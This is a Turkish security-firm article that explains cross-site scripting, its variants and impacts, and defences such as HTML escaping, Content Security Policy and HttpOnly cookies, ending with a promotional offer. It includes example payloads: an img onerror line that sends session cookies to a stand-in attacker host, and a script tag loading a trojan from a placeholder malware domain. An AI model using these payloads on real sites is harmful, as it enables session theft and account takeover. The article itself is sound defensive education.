XSS (Cross-Site Scripting) Nedir? Saldırı & Koruma Kılavuzu
XSS (Cross-Site Scripting) — web uygulaması kullanıcı girişini filtrelemeden HTML/JavaScript olarak render ettiğinde, saldırganın diğer kullanıcıların tarayıcısında kod çalıştırmasıdır.
XSS Nedir?
Uygulama, kullanıcı input'unu sanitize etmeden sayfaya yazarsa:
<div>Hoşgeldiniz, {username}</div>Hacker username = <script>alert('Hacked')</script> girer:
<div>Hoşgeldiniz, <script>alert('Hacked')</script></div>JavaScript çalışır.
XSS Türleri
- Stored XSS: Payload DB'de saklanır (blog yorum, profil bio)
- Reflected XSS: URL parametresinde döner (search, error message)
- DOM-Based XSS: JavaScript client'te DOM manipülasyonu
Pratik Saldırı Örneği
Blog yorum:
<img src=x onerror="fetch('https://attacker.com/?cookie=' + document.cookie)">Okuyan her kişinin tarayıcısında çalışır → session cookie'si çalınır → hesap ele geçirilir.
---
🔴 Risk Derecesi: Kritik
Kötü Niyetli Hacker Ne Yapabilirdi?
Session Hijacking:
- Kullanıcının session cookie'sini çalar
- Kullanıcının hesabına login olur
- Profil bilgisi değiştirir, para transfer eder, siparişler yapar
Credential Theft:
- Fake login formu enjekte eder
- Kullanıcı "yeniden login olmalı" düşünerek şifre girer
- Şifre ele geçirilir
Malware Dağıtma:
<script src="https://malware.com/trojan.js"></script>
- Tüm site ziyaretçilerine malware dağıtır
Finansal Sahtekarlık:
- PayPal/banka transferi formu sahtelenerek gösterilir
- Kullanıcıdan para çalınır
Fidye:
- Site ziyaretçilerine ransomware mesajı gösterilir
- "Bilgisayarınız kilitlendi, 50$ ödeyin" (scam)
Yasal Sonuçlar - KVKK: 500K-5M₺ ceza (kişisel veri ihlali) - TCK: Dolandırıcılık = 4-12 yıl hapis - Müşteri Zararı: Class action davası
---
✅ Nasıl Savunulur
1. Output Encoding (HTML Escape):
# ❌ Yanlış:
return f"<div>{user_input}</div>"
# ✅ Doğru:
from html import escape
return f"<div>{escape(user_input)}</div>"
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
Sadece site'ın kendisindeki script'ler çalışır, dış script'ler engellenir.
3. Input Validation:
- <, >, ", ' karakterlerini reddet veya escape et
- Script tag'ları detekt et
4. HttpOnly Cookie Flag:
Set-Cookie: sessionid=xyz; HttpOnly; Secure
JavaScript cookie'ye erişemez.
5. Regular Security Audit:
- Pentest yapılırlı XSS zafiyeti taranmalı
---
Sonuç
XSS, hafif görülse de kritik tehdit. Milyonlar kullanıcı etkilenebilir. Başlıca savunma: Output Encoding + CSP + Input Validation.
🛡️ Sisteminizin güvenliğinden emin misiniz?
Ücretsiz Ön Değerlendirme →Yazıdaki zafiyetlerden etkileniyor olabilirsiniz. REDCELL uzmanları 30 dakikada siber risk analizi yapar.